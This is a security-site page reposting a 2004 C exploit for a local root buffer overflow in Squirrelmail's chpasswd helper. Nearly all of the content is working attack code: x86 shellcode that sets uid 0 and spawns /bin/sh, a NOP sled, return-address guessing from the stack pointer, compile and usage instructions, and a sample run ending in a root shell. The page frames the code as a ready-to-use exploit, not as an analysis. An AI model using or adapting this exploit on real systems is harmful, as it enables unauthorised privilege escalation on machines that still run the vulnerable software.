首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Squirrelmail Local Root Chpasswd Exploit
来源:vfocus.net 作者:deadcraft 发布时间:2004-05-08  

/*

sq-chpass-exp.c

Squirrelmail chpasswd local root exploit by deadcraft
<deadcraft@wsfib.pl>
Bug founded by Matias Neiff <matias at neiff.com.ar>

Should work with only full path to chpasswd specified, but if isn't
You can simply move RET address by adding second parameter, for example:

compilation: gcc -o sq-chpass-exp sq-chpass-exp.c


/sq-chpass-exp /path/to/chpasswd 100

RET = 0xbffff8bc
OFFSET = 0xbffff8e8
You forgot the New password.
Illegal instruction

deadcraft@dns:~/change_passwd$ ./sq-chpass-exp /path/to/chpasswd 700
RET = 0xbffffb14
OFFSET = 0xbffffb40
You forgot the New password.
sh-2.05a#

greetz to Bucz, evilcat and all friends;)

*/

#include <stdio.h>
#include <stdlib.h>


#define SIZE 150
#define SIZE2 500

char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50"
"\x53\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0"
"\xb0\x01\xcd\x80";

unsigned long get_esp() {
__asm__ ("movl %esp,%eax");
}


int main(int argc, char *argv[])
{
int offset, ret, i;
char buf1[SIZE], buf2[SIZE2];

memset(buf2, 0x90, sizeof(buf2)-strlen(shellcode)-8);
memcpy(buf2 + sizeof(buf2)-strlen(shellcode)-8 , shellcode,
sizeof(shellcode));

if ((argc != 3) && (argc != 2)) {
printf("Usage: %s full path to chpasswd\n",argv[0]);
exit(0);
}

if (argc==3) {
offset=atoi(argv[2]);
ret=get_esp()+offset-strlen(shellcode)-strlen(argv[1]);
printf("OFFSET = 0x%x\n", get_esp() + offset);
}

else ret = 0xbffffb14;

printf("RET = 0x%x\n",ret);

for(i=0; i < SIZE; i+=4)
{
* (long *) &buf1[i] = ret;
}

execl(argv[1],"chpasswd",buf1, buf2,0);
return 0;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·X-Chat socks-5 remote buffer o
·autoRST - Automated TCP RST Ex
·LHa Local Stack Overflow Proof
·Titan FTP Server Aborted LIST
·dameware generate key program
·4nalbum module version 0.92 Re
·Windows Lsasrv.dll Remote Univ
·Exim Buffer Overflows
·TCP vulnerability proof of con
·sendmail 8.12.9 local root exp
·Siemens S55 Unauthorized SMS S
·MyWeb 3.3 Buffer Overflow Expl
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved